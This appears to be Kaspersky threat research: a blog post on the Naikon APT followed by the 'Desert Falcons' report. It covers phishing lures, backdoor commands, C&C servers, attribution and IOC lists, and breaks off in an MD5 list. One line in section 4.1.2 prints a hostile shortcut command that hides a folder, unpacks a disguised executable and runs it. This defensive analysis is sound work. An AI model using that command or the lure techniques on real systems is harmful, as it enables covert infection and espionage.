VULNERABILITIES AND EXPLOITS Our recent report, The Chronicles of the Hellsing APT: the Empire Strikes Back began with an introduction to the Naikon APT, describing it as One of the most active APTs in Asia, especially around the South China Sea . Naikon was mentioned because of its role in what turned out to be a unique and surprising story about payback. It was a Naikon attack on a Hellsing-related organization that first introduced us to the Hellsing APT. Considering the volume of Naikon activity observed and its relentless, repeated attack attempts, such a confrontation was worth looking into, so we did. Tweet The #NaikonAPT group was spearphished by an actor we now call "Hellsing" The Naikon APT aligns with the actor our colleagues at FireEye recently revealed to be APT30, but we haven t discovered any exact matches. It is hardly surprising that there is an element of overlap, considering both actors have for years mined victims in the South China Sea area, apparently in search of geo-political intelligence. The #NaikonAPT Tweet group has for 5 years mined victims, apparently in search of geo-political intelligence This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010. Noteworthy operational and logistical characteristics of this APT include: At least five years of high volume, high profile, geo-political attack activity Geographical focus per-country, individual operator assignment and proxy presence Dynamic, well organized infrastructure Reliance on an externally developed, consistent set of tools comprising a full-featured backdoor, a builder, and an exploit builder High success rate in infiltrating national organisations in ASEAN countries Highly Focused and E ective Around the South China Sea In the spring of 2014, we noticed an increase in the volume of attack activity by the Naikon APT. The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, Nepal, Thailand, Laos and China. Decoy An attack typically starts with an email carrying an attachment that contains information of interest to the potential victim. The document may be based on information from open sources or on proprietary information stolen from other compromised systems. This bait document , or email attachment, appears to be a standard Word document, but is in fact an CVE-2012-0158 exploit, an executable with a double extension, or an executable with an RTLO filename, so it can execute code without the user knowledge or consent. When the executable is launched, spyware is installed on the victim computer at the same time as a decoy document is displayed to the user; fooling them into thinking they have simply opened a document. Configuration The Naikon tool of choice generates a special, small, encrypted file which is 8,000 bytes in size, containing code to be injected into the browser along with configuration data. With the help of a start-up module, this whole file is injected into the browser memory and decrypts the configuration block containing the following: C&C server Ports and path to the server User-agent string Filenames and paths to its components Hash sums of the user API functions The same code then downloads its main body from the C&C server using the SSL protocol, loads it independently from the operating system functions and, without saving it to the hard drive, hands over control to the XS02 function. All functionality is handled in memory. Payload The main module is a remote administration utility. Using SSL, the module establishes a reverse connection to the C&C server as follows: it sets up an outgoing connection to the C&C server and checks if there is a command that it should execute. If there is, it executes the command and returns the result to the C&C. There are 48 commands in the module s repertoire, which a remote operator can use to effectively control the victim computer. This includes taking a complete inventory, downloading and uploading data, installing add-on modules, or working with the command line. Tweet The main module supports 48 commands, which the attackers can use to control the victim machine #NaikonAPT Here is the complete list of commands: CMD_MAIN_INFO CMD_PROCESS_REFRESH CMD_PROCESS_NAME CMD_PROCESS_KILL CMD_PROCESS_MODULE CMD_DRIVE_REFRESH CMD_DIRECTORY CMD_DIRECTORY_CREATE CMD_DIRECTORY_CREATE_HIDDEN CMD_DIRECTORY_DELETE CMD_DIRECTORY_RENAME CMD_DIRECOTRY_DOWNLOAD CMD_FILE_REFRESH CMD_FILE_DELETE CMD_FILE_RENAME CMD_FILE_EXECUTE_NORMAL CMD_FILE_EXECUTE_HIDDEN CMD_FILE_EXECUTE_NORMAL_CMD CMD_FILE_EXECUTE_HIDDEN_CMD CMD_FILE_UPLOAD CMD_FILE_DOWNLOAD CMD_WINDOWS_INFO CMD_WINDOWS_MESSAGE CMD_SHELL_OPEN CMD_SHELL_CLOSE CMD_SHELL_WRITE CMD_SERVICE_REFRESH CMD_SERVICE_CONTROL CMD_PROGRAM_INFO CMD_UNINSTALL_PROGRAM CMD_REGESTRY_INFO CMD_ADD_AUTO_START CMD_MY_PLUGIN CMD_3RD_PLUGIN CMD_REG_CREATEKEY CMD_REG_DELETEKEY CMD_REG_SETVALUE CMD_REG_DELETEVALUE CMD_SELF_KILL CMD_SELF_RESTART CMD_SELF_CONFIG CMD_SELF_UPDATE CMD_SERVER_INFO CMD_INSTALL_SERVICE CMD_FILE_DOWNLOAD2 CMD_RESET CMD_CONNECTION_TABLE CMD_HEART_BEAT Several modifications of the main module exist. There are no fundamental differences between modifications; it s just that extra features get added to the latest versions, such as compression and encryption of transmitted data, or the piecemeal download of large files. Aug 23 d085ba82824c1e61e93e113a705b8e9a 118272 18:46:57 2012 May 20 b4a8dc9eb26e727eafb6c8477963829c 140800 11:56:38 2013 Jun 13 172fd9cce78de38d8cbcad605e3d6675 118784 12:14:40 2013 Aug 19 d74a7e7a4de0da503472f1f051b68745 190464 05:30:12 2013 Jan 07 93e84075bef7a11832d9c5aa70135dc6 154624 04:39:43 2014 CC-Proxy-Op C&C server operations are characterized by the following: Low maintenance requirements Organized geo-specific task assignments Different approaches to communication The C&C servers must have required only a few operators to manage the entire network. Each operator appears to have focused on their own particular set of targets, because a correlation exists between C&C and the location of targets/victims. Tweet There is a geospecific correlation between the location of #NaikonAPT C&Cs and that of targets/victims Communication with victim systems changed depending on the target involved. In some cases, a direct connection was established between the victim computer and the C&C. In other cases, the connection was established via dedicated proxy servers installed on dedicated servers rented in third countries. In all likelihood, this additional setup was a reaction to the network administrators in some targets limiting or monitoring outbound network connections from their organizations. Here is a partial list of C&C servers and victim locations, demonstrating the geo-specific correlation: Jakarta linda.googlenow.in Jakarta admin0805.gnway.net Jakarta free.googlenow.in frankhere.oicp.net Bandung frankhere.oicp.net Bandung telcom.dhtu.info Jakarta laotel08.vicp.net JP Tokyo greensky27.vicp.net googlemm.vicp.net KH Phnom Penh googlemm.vicp.net peacesyou.imwork.net sayakyaw.xicp.net ubaoyouxiang.gicp.net MM Yangon htkg009.gicp.net kyawthumyin.xicp.net myanmartech.vicp.net test-user123.vicp.cc us.googlereader.pw net.googlereader.pw lovethai.vicp.net yahoo.goodns.in MY Putrajaya xl.findmy.pw MY Putrajaya xl.kevins.pw PH Caloocan oraydns.googlesec.pw PH Caloocan gov.yahoomail.pw pp.googledata.pw xl.findmy.pw mlfjcjssl.gicp.net o.wm.ggpw.pw oooppp.findmy.pw cipta.kevins.pw phi.yahoomail.pw SG Singapore xl.findmy.pw SG Singapore dd.googleoffice.in VN Hanoi moziliafirefox.wicp.net VN Hanoi bkav.imshop.in VN Hanoi baomoi.coyo.eu VN Dong Ket macstore.vicp.cc VN Hanoi downloadwindows.imwork.net VN Hanoi vietkey.xicp.net VN Hanoi baomoi.vicp.cc VN Hanoi downloadwindow.imwork.net VN Binh Duong www.ttxvn.net VN Binh Duong vietlex.gnway.net VN Hanoi www.ttxvn.net VN Hanoi us.googlereader.pw VN Hanoi yahoo.goodns.in VN Hanoi lovethai.vicp.net VN Hanoi vietlex.gnway.net XSControl the Naikon APT victim management software In the Naikon scheme, a C&C server can be specialized XSControl software running on the host machine. It can be used to manage an entire network of infected clients. In some cases, a proxy is used to tunnel victim traffic to the XSControl server. A Naikon proxy server is a dedicated server that accepts incoming connections from victim computers and redirects them to the operator s C&C. An individual Naikon proxy server can be set up in any target country with traffic tunnelling from victim systems to the related C&C servers. XSControl is written in .NET with the use of DevExpress: Its main capabilities are: Accept initial connections from clients Provide clients with the main remote administration module Enable them to remotely administer infected computers with the help of a GUI Keep logs of client activity Keep logs of operator activity Upload logs and files to an FTP server The operator s activity logs contain the following: An XML database of downloaded files, specifying the time of operation, the remote path and the local path A database of file names, the victim computer registry keys for the folders and requested sections A history of executed commands Country X, Operator X Now let s do an overview of one Naikon campaign, focusing on country Analysis revealed that the cyber-espionage campaign against country X had been going on for many years. Computers infected with the remote control modules provided attackers with access to employees corporate email and internal resources, and access to personal and corporate email content hosted on external services. Below is a partial list of organizations affected by Naikon operator X espionage campaign in country X. Office of the President Military Forces Office of the Cabinet Secretary National Security Council Office of the Solicitor General Intelligence Services Civil Aviation Authority Department of Justice Federal Police Executive/Presidential Administration and Management Staff A few of these organizations were key targets and under continuous, real-time monitoring. It was during operator X network monitoring that the attackers placed Naikon proxies within the countries borders, to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations. In order to obtain employees credentials, operator X sometimes used keyloggers. If necessary, operator X delivered them via the remote control client. In addition to stealing keystrokes, this attacker also intercepted network traffic. Lateral movements included copying over and remotely setting up winpcap across desktop systems within sensitive office networks, then remotely setting up AT jobs to run these network sniffers. Some APTs like Naikon distribute tools such as these across multiple systems in order to regain control if it is lost accidentally and to maintain persistence. Tweet The #NaikonAPT group took advantage of cultural idiosyncrasies in its target countries Operator X also took advantage of cultural idiosyncrasies in its target countries, for example, the regular and widely accepted use of personal Gmail accounts for work. So it was not difficult for the Naikon APT to register similar-looking email addresses and to spear-phish targets with attachments, links to sites serving malware, and links to google drive. The empire strikes back Every once in a while the Naikon group clashes with other APT groups that are also active in the region. In particular, we noticed that the Naikon group was spear-phished by an actor we now call Hellsing . More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost: Chronicles of the Hellsing APT: The Empire Strikes Back Related Articles MICROSOFT SECURITY UPDATES MAY 2015 IT THREAT EVOLUTION IN Q1 2015 HOW EXPLOIT PACKS ARE CONCEALED IN A FLASH OBJECT THE DESERT FALCONS TARGETED ATTACKS Version 2.0 February, 2015 #TheSAS2015 #FalconsAPT Table of contents 1. Executive Summary............................................................................ 4 2. Introduction......................................................................................... 5 3. Operation Goals and Victim Profiles................................................... 6 3.1. Stolen Files information............................................................................. 7 4. Operation Analysis.............................................................................. 8 4.1. Deceive and Infect...................................................................................... 8 4.1.1. Targeted emails and documents.................................................... 8 4.1.2. Just click the shortcut: the rar/lnk trick.......................................11 4.1.3. Right-to-left extension override trick............................................12 4.1.4. Social Networking tricks...............................................................12 4.1.5. The fake RealPlayer plugin trick...................................................14 4.2. Infiltrate and Spy.......................................................................................15 4.2.1. The Falcons main Trojan .............................................................15 4.2.2. DHS spyware..................................................................................16 4.2.3. DHS2015, also called iRat...........................................................17 4.2.4. Mobile backdoor traces................................................................17 4.2.5. Other tools by DHS........................................................................18 4.2.6. Compilation timeline for samples................................................19 4.3. Track and Control......................................................................................19 4.3.1. 1st Campaign - targeting computer devices and mobiles............19 4.3.2. 2nd Campaign.................................................................................20 4.3.3. 3rd Campaign.................................................................................20 4.3.4 Liptona.net......................................................................................21 4.3.4. Campaigns operational timeline..................................................22 TLP: White For any inquiries, please contact intelreports@kaspersky.com 5. Attribution.......................................................................................... 23 6. Conclusion......................................................................................... 24 7. Appendix............................................................................................ 25 7.1. Appendix 1: C&Cs Whois History ............................................................25 7.2. Appendix 2: IOC & Samples.....................................................................25 7.2.1. Known Falcons C&C hostnames...............................................25 7.2.2. Related Domains ..................................................................................26 7.2.3. Known Falcons C&C IPs.............................................................26 7.2.4. MD5s of backdoors used in the attacks......................................26 7.2.5. Backdoor related files...................................................................27 7.2.6. Attacker e-mail accounts used in spear phishing attacks..........27 TLP: White For any inquiries, please contact intelreports@kaspersky.com 1. Executive Summary Desert Falcons is a new group of cybermercenaries operating from the Middle East and using a set of methods to hide and operate malware. The cybercriminals appear to be highly skilled: in addition to proficient social engineering tricks, they have developed the following from scratch: Computer systems malware targeting Windows devices Mobile malware targeting Android devices Infection vectors, including phishing emails, fake websites and fake social networking accounts Potential victims were enticed with socio-political news and information, and many succumbed rapidly to malware infection. The victims targeted include: Military and Government Newspaper, TV/Radio Channels and Top Media Outlets Financial and Trading Institutions Research and Education Institutions Activists and Political Leaders Energy Firms Physical Security Companies Victims of the Desert Falcons are located mainly in the following countries: Egypt Palestine Israel Jordan The Desert Falcons cybercriminals are native Arabic speakers; and it is believed to be the first known Arab group to develop and run a full cyber espionage operation. Desert Falcons began its operations in 2011, with the first infections taking place in 2013. The group became very active in late 2014/early 2015. The Desert Falcons comprises around 30 members working in three teams and operating mainly out of Palestine, Egypt and Turkey. The number of victims to date exceeds 3,000. The group s malware was originally found during an attack investigation in the Middle East. Kaspersky Lab clients are protected from infection, with the malware files and domains used in the targeted attacks detected and blocked. TLP: White For any inquiries, please contact intelreports@kaspersky.com 2. Introduction The geopolitical conflicts in the Middle East have deepened over the last few years. The crisis is taking many forms, and the conflict in cyberspace is intensifying as different sides try to shift the struggle in their favour by exploiting cyber intelligence and distorting news. Targeted cyberattacks have also increased rapidly in the region over the last few years, with victims identified for almost every one of the major advanced cyberattack campaigns (Regin, Epic Turla, Careto, Nettraveler, Red October, Flame, Gauss, Duqu, and more.) The Global Research and Analysis Team (GReAT) at Kaspersky Lab has uncovered new targeted attacks in the Middle East. Native Arabic-speaking cybercriminals have built advanced methods and tools to deliver, hide and operate malware that they have also developed themselves. This malware was originally discovered during an investigation of one of the attacks in the Middle East. Political activities and news are being actively used by the cybercriminals to entice victims into opening files and attachments. Content has been created with professionalism, with well designed visuals and interesting, familiar details for the victims, as if the information were long awaited. The victims of the attacks to date have been carefully chosen; they are active and influential in their respective cultures, but also attractive to the cybercriminals as a source of intelligence and a target for extortion. The attackers have been operating for more than two years now, running different campaigns, targeting different types of victims and different types of devices (including Windows- and Android-based). We suspect that at least 30 people distributed across different countries are operating the campaigns. As a security organization, our analysis has focused only on the malware and the facts uncovered during our research. The falcon is a popular and rare bird that has existed for a long time in Arabian countries with deserts, such as Egypt, Syria, the United Arab Emirates, Palestine, Saudi Arabia, and Oman, among others. It is also a symbol of hunting and sharp vision. The Desert Falcons are proficient cyberattackers, with carefully chosen targets, who are all thoroughly investigated before being attacked and infected. TLP: White For any inquiries, please contact intelreports@kaspersky.com 3. Operation Goals and Victim Profiles One of the most mysterious things about the Falcons is the range and variety of victims; with clear political, geographical and social distinctions between them. Further details of individual categories of victims Victim Category Victim Description Media Organizations and popular senior reporters from large and small, global and local media organizations, with wide coverage in the Middle East region Education and Activists Islamic universities, immigrants and rights activists of Arab origin were among the most targeted; with attackers trawling through pictures, video and audio recordings Government Organisations and personnel responsible for national health, combatting money laundering, economy, trade, ministries, research and development Military High-ranking personnel related to security agencies and army command units Energy/Utilities Critical infrastructure suppliers (power, oil and gas, construction and smart grids) Industrial Supply chain contractors providing manufacturing material and equipment for clients including the military and aerospace. Financial Multiple banks and investment firms were affected Physical Security One of the most mysterious victim categories, with major firms targeted in multiple countries. TLP: White For any inquiries, please contact intelreports@kaspersky.com A screenshot from one of the physical security providers targeted shows the attackers interest in information about security officers and their assignments. It is possible that these victims were targeted in order to collect useful information that could be used in actual physical crime. 3.1. Stolen Files information The Desert Falcons operations were found to be mainly focused on political and military intelligence. In all, the attackers were able to steal more than one million files and documents containing sensitive information from victims computers and devices. TLP: White For any inquiries, please contact intelreports@kaspersky.com 4. Operation Analysis The Desert Falcons make use of different tools and techniques to Deliver, Infect, Spy on and Manage their victims. Below we outline each of the methods involved and how they were carefully used to operate the cyber espionage activities. They are grouped into three sections as follows: Deceive and Infect Infiltrate and Spy Track and Control 4.1. Deceive and Infect Malware writers use multiple technical and social engineering methods to deliver their files and encourage the victims to run them; creating an effective infection vector, even when they are targeting what should be well-protected organisations such as governments, banks and leading media outlets. In this case the attackers depended mainly on social engineering to exploit: Victims trust in social networking forums Victims curiosity about news relating to political conflict in their country In the following sections we outline the different methods used by the cybercriminals to infect their victims. 4.1.1. Targeted emails and documents The Falcons attacks used spear phishing e-mails that attempted to trick the victim into opening a malicious attachment. Spear phishing was mainly used when targeting important victims such as governments or high profile media. The spear phishing e-mails used by the Falcons were very well structured with filenames and attachments selected with care for the targeted victim. Email samples Email information Time of delivery From: Executive Secretary) Subject: The financial benefits) Attachment: .rar// .scr (a detailed report on the benefits) March 2014 From: The media reporter Rana) Subject: Hi, this is the manager of the Lawyer David, to remind you of the meeting to review the pictures and the report) March 2014 TLP: White For any inquiries, please contact intelreports@kaspersky.com Email information Time of delivery From: news letar Subject: most cruel) Attachment: .rar//eeee.scr//04.exe Sept 2014 From: "news letar" Subject: Attachment: .rar//eeee.scr//04.exe Sept 2014 From: "Italy Office" ] Subject: Safe migration - Attachment: Visa Travel docx.rar//Image visa jpg.scr//H.exe Sept 2014 From: "ynet48" ] Subject: ... 6 iPhone 6 and our privacy) Attachment: .rar//??? ?????.scr//02.exe Sept 2014 From:"mako mako" ] Subject: what will happen to Israel in ten years) Attachment: .rar//ss.scr//02.exe Sept 2014 File samples File Name Translation .rar The prospect of a new relationship between Sisi and Bashar alAssad .rar .scr ... .rar .docx.scr ISIS (Islamic State in Iraq and Levant) Terrorism affecting Egypt - the beginning of the end is near Palestinian embassies abroad... the reality of a weak role _Maram Mabrouk Gaza fishermen, facing poverty and harassment until when? .docx.scr meetings-recordrcs.pdf Visa Travel docx.scr docx.scr Financial Decision No. 17 concerning the military forces .rar Sexual harassment in the prime minister s office .scr .scr Synagogue attack Political report on the latest national events .scr TLP: White For any inquiries, please contact intelreports@kaspersky.com Below are some examples of the interesting content used to target important victims: A PDF of a Meeting Record was used when targeting senior politicians in Egypt and Palestine. The document was used in spear phishing and contains what appear to be the Meeting Minutes for a very important meeting between political leaders in Egypt and Palestine. Documents used when targeting politicians in Egypt and Palestine TLP: White For any inquiries, please contact intelreports@kaspersky.com Documents used when targeting activists in Israel and Palestine 4.1.2. Just click the shortcut: the rar/lnk trick Another technique used by the cybercriminals is to send a rar file that extracts to multiple files and offers an appealing shortcut in the form of a small, innocent-looking icon. In this case the victim does not need to double-click an executable file, the shortcut is enough to run a whole command to extract, setup and run the malware. C:\Windows\System32\cmd.exe /c "md c:\LA&attrib c:\LA +h +s&C:\Progra~1\WinRAR\unrar.exe e _*.rar c:\LA\ -o+ -ibck© /y _*.doc c:\LA\&C:\Progra~1\WinRAR\winRAR.exe e -e c:\LA\_*.doc c:\LA\ -o+ -ibck&ren c:\LA\image21.jpeg alg.exe&start c:\LA\alg.exe TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.1.3. Right-to-left extension override trick This method takes advantage of special characters in Unicode to reverse the order of characters in a file name, hiding the dangerous file extension in the file name and placing a harmless-looking fake file extension near the end of the file name. By using this technique, even careful users with good technical knowledge could be tricked into running malicious files. 4.1.4. Social Networking tricks Targeted Facebook attacks aimed at specific people The Desert Falcons team is among to the first to run targeted attacks through Facebook chat. The attackers created authentic Facebook accounts and then interacted with chosen victims through common Facebook pages until they had gained their trust. Then they sent them Trojan files in the chat hidden as an image or similar. Below are some screenshots of a victim s PC showing the infection process, extracted from one of the command and control servers: TLP: White For any inquiries, please contact intelreports@kaspersky.com Malware files being sent as me.rar or mypic.rar from fake accounts to the victims through chat Facebook attacks targeted at generic activists and political followers (mass infection) For wider infections, especially among activists and political figures, different social engineering techniques were used. These included Facebook posts and redirects to fake pages with political content. We were able to identify suspect Facebook posts on popular activist pages, with links to domains or malware downloads used by Falcons. Below are a few examples: TLP: White For any inquiries, please contact intelreports@kaspersky.com Posts made from compromised or fake accounts on political pages; Dr Salam Fayyad is a former prime minister of the state of Palestine. Another post with malicious content, this time on the page of Benjamin Netanyahu, the current prime minister of Israel. 4.1.5. The fake RealPlayer plugin trick In this case political social engineering was used to deliver malware as a plugin for the banned video of a famous political show in Egypt hosted by the satirist Bassem Youssef. The page was hosted on the following domain: www.linkedim.in, chosen to resemble the popular LinkedIn social networking site. TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.2. Infiltrate and Spy The Desert Falcons depend on two different backdoors to spy on victims. Both backdoors are homemade and are under continuous development. We were able to identify and collect more than 100 malware samples used by the Desert Falcons. Once they have infected the victim s computer, attackers have full access and control, and they usually proceed as follows: 1. New victims are categorized into groups before being infected (e.g. A001, A002, and so on) 2. One of the cybercriminals is appointed to each new victim after infection 3. A complete list of all files (especially XLS, DOC, JPG and WAV) is retrieved from the victim machine 4. The cybercriminal browses and collects any interesting pictures and files 5. The cybercriminal also collects chats and screenshots 6. Depending on the importance of the victim, the surveillance is then either intensified or dropped 4.2.1. The Falcons main Trojan This is the main Trojan used in the attacks, especially when targeting important victims. Multiple versions of the Trojan were found, revealing ongoing development and improvements. The Falcons main Trojan is divided into two modules: 4.2.1.1. Falcons Downloader This module is used for the initial infection. Once executed, the Falcons downloader will send a registration request to the Command and Control (C&C) server with the victim s IP address and a harddisk ID. The downloader will request a registration confirmation from the C&C. Encrypted versions of the latest Falcons backdoor will then be downloaded and installed on the victim s machine. TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.2.1.2. Falcons Backdoor The Falcons backdoor communicates with C&C servers using HTTP requests with encrypted content, providing the attackers with full backdoor functionality including: Screenshots Keylogs Upload/Download files Information on all the .doc and .xls files on the victim s hard disk or connected USB devices The ability to steal passwords stored on the system registry (Internet Explorer and live Messenger) All the files and screenshots collected by the backdoor are sent to the C&C in a passwordprotected archive. The earliest sample we found of the Falcons Trojan was compiled in Feb 2013. We consider this to be the real start date for the infection activity. (c07ac2120b4312b33089c0 cc97405876, MSN.exe). 4.2.2. DHS spyware DHS naming is used by the attackers to describe the nickname initials of one of the developers (D** H*** Spyware). From June 2014, the Falcons began using a new, totally rewritten backdoor, the spyware , is built by a different development team. This also provided the attackers with control over the infected systems, serving the same goals as before through the following functionalities: Screenshots and Keylogs Audio recording Downloading and Uploading files Password stealing Interactive shell TLP: White For any inquiries, please contact intelreports@kaspersky.com DHS builder, used to bind malware with an icon and the category to which the victim belongs. Screen shot for DHS C&C management console 4.2.3. DHS2015, also called iRat Beginning 2015, DHS released a new, almost final version of the Trojan malware, now packed with new features and techniques to escape detection, but also adding encryption to the C&C communication and file storage. The new malware has been named DHS2015 or iRAT. 4.2.4. Mobile backdoor traces During the investigation of the C&C servers we found traces of data pointing to mobile Trojan logs on the C&C www.fpupdate.info. The traces represent a structure for a mobile spying command server, the server contains mobile Call logs, SMS logs and Geolocation tracking for more than 360 victims. TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.2.5. Other tools by DHS The cybercriminals also developed other tools, for example, a public/private key-based file cryptor/decryptor tool. MD5: 363d7b99fee999a4c39a2a1052fa7919 TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.2.6. Compilation timeline for samples The malware files compilation timeline for the collected samples clearly shows the Falcons activity and operations, which started in 2013 and increased dramatically in 2014. 4.3. Track and Control The Desert Falcons operation can be divided into three different campaigns, each operated from a different C&C/IP, targeting different types of victims and operated mostly by different team members. The campaigns can be classified by the type and version of malware and the type of victims targeted: Campaign 1: A ctive in Palestine, Egypt, Jordan and the Gulf states (KSA, UAE and Qatar) Campaign 2: Active in Israel Campaign 3: Active in Egypt 4.3.1. 1st Campaign - targeting computer devices and mobiles This is the main Falcons campaign and included the highest number of victims. It focused mainly high profile victims in Palestine, Jordan, Egypt and the Gulf states, and the target victims were mainly government organizations, military centers and top media outlets. C&C Domains Victims Malware used Registration Date ahmedfaiez.info 188.40.75.132 188.40.106.84 Media & Government Falcons Trojan 2013-03-29 fpupdate.info 188.40.75.132 Mobile Falcons Trojan 2013-04-14 TLP: White For any inquiries, please contact intelreports@kaspersky.com C&C Domains flushupate.com 188.40.75.132 flushupdate.com 188.40.75.132 ineltdriver.com mediahitech.info Victims Malware used Registration Date Falcons Trojan 2014-02-16 Media Falcons Trojan 2014-02-16 188.40.75.132 Military & Government Falcons Trojan 2014-09-14 188.40.106.84 Unknown Falcons Trojan 2012-06-28 4.3.2. 2nd Campaign This campaign mainly targeted victims in Israel using the main Falcons Trojan. More than 600 victims have been identified. C&C Domains Victims Malware used Registration Date mixedwork.com 188.40.81.136 Israeli Victims Falcons Trojan 2014-02-18 plmedgroup.com 188.40.81.136 Israeli Victims Falcons Trojan 2014-02-18 pstcmedia.com 188.40.81.136 Unknown, currently sinkholed Falcons Trojan 2013-07-04 4.3.3. 3rd Campaign This targeted mainly activists, political figures and radio/TV channels in Egypt. It s the only campaign in the Falcons operations that used the DHS spyware. C&C Domains Victims Malware used Registration Date advtravel.info 188.40.106.84 Activists DHS Spyware 2013-11-17 linksis.info 188.40.106.84 Politicians and Activists DHS 2015/IRat 2014-12-01 Besides being the only campaign to use DHS spyware, we can confirm this is also the most recent, managed by new and less experienced group members. This is apparent from mistakes made in the campaign operation. For example, the C&C server advtravel.info was publicly accessible, despite containing files, screenshots and information collected from the victims and the backdoor execution logs. TLP: White For any inquiries, please contact intelreports@kaspersky.com File and folder structure on one of the command servers. For a short time the file access permissions for the command servers were made public. 4.3.4 Liptona.net One of the interesting findings that could indicate an earlier start to the Falcons operations is the Liptona.net domain. The hosting history for this domain shows that between 21 June 2012 and December 2013, this domain was pointing to one of the IPs (188.40.106.84) used by the Falcons. We were able to find a malware sample using Liptona.net as a C&C (667b5004fa197beb0129e1ddbc416864). This sample has some similarities to the Falcons main backdoor and the compilation time for the sample points back to Dec 2011. One interesting thing is that this sample tries to steal login credentials for hardcoded URLs of Palestinian websites, an indication of a shared goal with the Falcons team. Websites hardcoded in the malware: http://mail.mtit.pna.ps/src/login.php (Email Ministry of Telecommunications and Information Technology Palestine ) http://myaccount.jawwal.ps/ (Jawwal Mobile provider) http://portal.iugaza.edu.ps/ (Islamic University of Gaza) Malware using liptona.net as C&C containing hardcoded URLs for Palestinian websites TLP: White For any inquiries, please contact intelreports@kaspersky.com 4.3.4. Campaigns operational timeline Even though malware files were only traced back to 2013, domain-related traces were found that may indicate earlier activities by the Desert Falcons: TLP: White For any inquiries, please contact intelreports@kaspersky.com 5. Attribution The investigation into the Desert Falcons cybermercenaries enabled the research team to determine the identity of some members of the group behind the development and operation of the campaigns. The Desert Falcons team members count around 30, working in three teams and operating mainly from Palestine, Egypt and Turkey. We also confirmed that the cybercriminals are native Arabic speakers from the Middle East, based on evidence from: The identities found The fact that most malware files have the PE resource Version Info with Lang property set to Arabic Arabic User names for the C&C administrators Arabic names and emails found in the registration history of the C&C domains Solid Arabic phishing emails and documents used in attacks DHS spyware command and control panel with Arabic interface The identities of some of the cybercriminals were found when inspecting the contents of one of the C&Cs which had public read permissions open for a short period of time. We were able to track and identify the full profile of some of the attackers including Facebook and twitter accounts, private blogs and websites. Surprisingly the attackers have published on twitter some information about their development of the spyware and the command servers. TLP: White For any inquiries, please contact intelreports@kaspersky.com 6. Conclusion The Desert Falcons attacks show clearly that zeroday techniques are not a must for efficient targeted attacks. Using phishing emails, social engineering and homemade tools and backdoors, the Desert Falcons were able to infect hundreds of sensitive and important victims in the Middle East region through their computer systems or mobile devices. This is just an alert for the poor cyber security situation in the region. Banks, Media outlets, Governments and Military entities in different countries all fell prey to the Desert Falcons attacks. Falcons threat actors are determined, active and have good technical knowledge. We expect their operations to carry on developing more Trojans and using more advanced techniques. With enough funding, they might be able to acquire or develop exploits that would increase the efficiency of their attacks Desert Falcons is just one example of the rise of cybercrime in a geopolitically troubled region that will motivate other threat actors or states to leverage cyber attacks for political or criminal goals. Kaspersky Lab detects all the malware files as follows: Trojan.Win32.DesertFalcons Trojan-Spy.Win32.Agent.cncc Trojan-Spy.Win32.Agent.ctcr Trojan-Spy.Win32.Agent.ctcv Trojan-Spy.Win32.Agent.ctcx Trojan-Spy.Win32.Agent.cree Trojan-Spy.Win32.Agent.ctbz Trojan-Spy.Win32.Agent.comn Trojan.Win32.Bazon.a TLP: White For any inquiries, please contact intelreports@kaspersky.com 7. Appendix 7.1. Appendix 1: C&Cs Whois History Domain First Related Registration Date IP addresses ahmedfaiez.info 2013-03-29 188.40.75.132 188.40.106.84 fpupdate.info 2013-4-14 188.40.75.132 linkedim.in 2013-05-29 188.40.75.132 pstcmedia.com 2013-07-04 188.40.81.136 advtravel.info 2013-11-17 188.40.75.132 188.40.106.84 flushupate.com 2014-02-16 188.40.75.132 flushupdate.com 2014-02-16 188.40.75.132 mixedwork.com 2014-02-18 188.40.81.136 plmedgroup.com 2014-02-18 188.40.81.136 ineltdriver.com 2014-09-14 188.40.75.132 iwork-sys.com 2014-09-17 188.40.75.132 androcity.com 2014-11-17 188.40.106.84 linksis.info 2014-12-01 188.40.106.84 7.2. Appendix 2: IOC & Samples The following Indicators of Compromise can be used to identify Falcons infections. 7.2.1. Known Falcons C&C hostnames advtravel.info ineltdriver.com ahmedfaiez.info liptona.net pstcmedia.com mediahitech.info mixedwork.com fpupdate.info flushupate.com plmedgroup.com flushupdate.com linksis.info TLP: White For any inquiries, please contact intelreports@kaspersky.com 7.2.2. Related Domains linkedim.in iwork-sys.com nauss-lab.com nice-mobiles.com facebook-emoticons.bitblogoo.com abuhmaid.net blogging-host.info androcity.com tvgate.rocks 7.2.3. Known Falcons C&C IPs 188.40.75.132 188.40.81.136 188.40.106.84 7.2.4. MD5s of backdoors used in the attacks 003082ee859edccd104ab4cb38deb131 00eef6a2ac57e987f4750c6eff4e93d6 01f68cad955b14f4849e3796a834cd44 02ffcfdcfb205cece05597fce1b307b7 03ea5a6c095b025e111a64a32a1d1460 07f0e2104773deec4ec351af40441b84 0ee6b2296df8c7e5aabfee46baef2a08 10a2212d23f8e248b59cfbf6b809e312 12dee292c0ce4ec005f9b55ee53e2b4e 15c5c4ca7bd169cc4a1747971afe4f02 1691aca2b2209ddb76d5107da92861e7 17bfc2f4efc1031b33835ca3ec0a71fa 1b26203d329a6663dfcb286bc4702c77 1e52a293838464e4cd6c1c6d94a55793 22e90e502bd4c8c19480e987cc46a9a8 238b48338c14c8ea87ff7ccab4544252 23d6eef34724f2b83f4181d3df47ce69 2804dce3a379b9ab5457c095dc93df91 2986d9af413cd09d9ffdb40040e5c180 2b94213b0ba7200742a08992b69a127a 2bce2ccd484a063e5e432a6f651782d9 33d56702729fd2bc5eb0f467663b03b4 418cf0044b8e0e8db6270454f617c636 436a7ad10b379ddc0a454e5129dc3ba6 4a0ef41272210f41b987224ff57f6280 4b521edf765d1369303d36cc3024c19d 4fbf48b61d2f2f590ae35f8f65867e40 518a765d999191b9ed7c4730714def31 59482460da44c3d7192970e705688162 5bb619dcb0c9684e0bbdf6d85769dbdd 5d7ba3b5780592c6e31be70a9077a8ed 63c480b1cc601b02b4acb30309b007e6 667b5004fa197beb0129e1ddbc416864 686779709226c6727bd9ebc4b1ff21b1 